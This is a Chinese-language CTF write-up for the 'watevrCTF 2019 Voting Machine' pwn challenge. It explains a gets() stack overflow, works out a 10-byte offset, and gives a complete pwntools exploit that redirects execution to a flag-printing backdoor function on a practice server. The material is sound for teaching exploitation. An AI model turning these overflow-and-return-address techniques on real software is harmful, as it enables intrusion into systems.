[watevrCTF 2019]Voting Machine
360 字
2 分钟
[watevrCTF 2019]Voting Machine
- 1[watevrCTF 2019]Voting Machine本文
本题在线靶场
1. 漏洞分析

- main函数:
- 程序使用了
gets(v4);。gets函数不会检查输入长度,会导致栈溢出漏洞。 - 局部变量
v4的定义是_BYTE v4[2]; // [rsp+Eh] [rbp-2h]。说明v4距离rbp只有 2 个字节。
- 程序使用了


- 后门函数:
- 在函数列表中存在
super_secret_function。 - 图3显示
super_secret_function的起始地址为0x400807。 - 该函数的逻辑是:
fopen("/home/ctf/flag.txt", "r"),然后逐字符读取并打印(使用fgetc和putchar),最后调用exit(0)。这就是我们需要跳转的目标函数。
- 在函数列表中存在
2. 计算偏移量
在 64 位程序中,覆盖返回地址的 Payload 结构如下:
-
填充
v4到rbp:-
v4的起始地址**是rbp - 2。 -
v4是一个_BYTE数组,长度为 2。所以它占用rbp - 2和rbp - 1这两个字节。 -
保存的 RBP (Saved RBP) 紧挨着它,位于
[rbp],占用 8 个字节(64位系统)。 -
返回地址 (Return Address) 位于
[rbp + 8],占用 8 个字节。
-
-
覆盖 RBP:64位系统 RBP 占 8 字节。
-
覆盖返回地址(RET):劫持程序流程,填入后门函数地址
0x400807,占 8 字节。 -
总填充长度:
2 + 8 = 10字节。
Payload 构造:b'A' * 10 + p64(0x400807)
3.Exploit编写
from pwn import *
context(arch='amd64', os='linux')
# 连接靶机p = remote('node5.anna.nssctf.cn', 21871)
p.recvuntil(b"Vote: ")
# 正确的 Payload:10字节填充 + 后门地址payload = b'A' * 10 # 2字节v4 + 8字节Saved RBP = 10payload += p64(0x400807) # 覆盖返回地址为 super_secret_function
p.sendline(payload)p.interactive()
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
[watevrCTF 2019]Voting Machine
https://tuulei.cn/posts/watevrctf-2019-voting-machine/相关文章智能推荐
1
[安洵杯 2019]CSS Game CSS注入
打靶场这份 WP 假设你**完全没接触过 CSS 注入**,所以会先把 HTML、CSS、选择器、优先级这些基础讲明白,
然后再一步步把攻击链搭出来,最后给出可以直接跑的脚本和运行日志。
2
[NISACTF 2022]checkin Unicode 双向控制字符(Bidi)混淆
打靶场这下看清楚了,VS Code能显示出这些不可见字符的占位符-- Unicode 控制字符
- \[U+202E] (RLO):从这里开始,后面的字符强制从右向左显示......
3
[GFCTF 2021]双击开始冒险 鼠标流量
打靶场搜索这个QQ号,发现base64的密码,密码You love me, I love you......
4
[WUSTCTF 2020]
打靶场2026-09-30
5
[巅峰极客 2022]powerpower powershell的ConvertFrom-SecureString
打靶场ConvertFrom-SecureString -Key $key 使用 $key 作为 AES 密钥,把 SecureString 加密成一段普通加密字符串......
随机文章随机推荐














